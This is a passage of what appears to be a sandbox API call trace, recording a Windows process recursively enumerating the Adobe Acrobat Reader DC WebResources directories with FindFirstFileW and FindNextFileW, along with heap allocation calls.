lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.405] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0246.405] GetProcessHeap () returned 0xc10000 [0246.405] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0246.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app-api\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0246.405] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.406] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 1 [0246.406] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x100e, dwReserved0=0x0, dwReserved1=0x0, cFileName="app-api.js", cAlternateFileName="")) returned 0 [0246.406] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0246.406] GetProcessHeap () returned 0xc10000 [0246.406] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0246.406] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0246.406] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0246.406] GetProcessHeap () returned 0xc10000 [0246.406] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.406] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593, dwReserved0=0x0, dwReserved1=0x0, cFileName="config.js", cAlternateFileName="")) returned 1 [0246.407] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1 [0246.407] GetProcessHeap () returned 0xc10000 [0246.407] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.408] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0246.408] GetProcessHeap () returned 0xc10000 [0246.408] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0246.408] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0246.409] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.409] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0246.409] GetProcessHeap () returned 0xc10000 [0246.409] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0246.409] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0246.459] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.460] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0246.460] GetProcessHeap () returned 0xc10000 [0246.460] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ar-ae\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.465] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.465] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.465] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.474] GetProcessHeap () returned 0xc10000 [0246.474] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.474] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0246.474] GetProcessHeap () returned 0xc10000 [0246.474] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ca-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0246.481] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.481] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.481] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.481] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0246.482] GetProcessHeap () returned 0xc10000 [0246.482] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.482] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0246.482] GetProcessHeap () returned 0xc10000 [0246.482] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.482] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\cs-cz\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.483] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.484] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.484] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.484] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.484] GetProcessHeap () returned 0xc10000 [0246.484] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.484] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0246.484] GetProcessHeap () returned 0xc10000 [0246.484] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\da-dk\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.485] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.485] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.485] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.485] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.485] GetProcessHeap () returned 0xc10000 [0246.485] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.485] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0246.485] GetProcessHeap () returned 0xc10000 [0246.485] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\de-de\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.486] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.486] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.486] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: 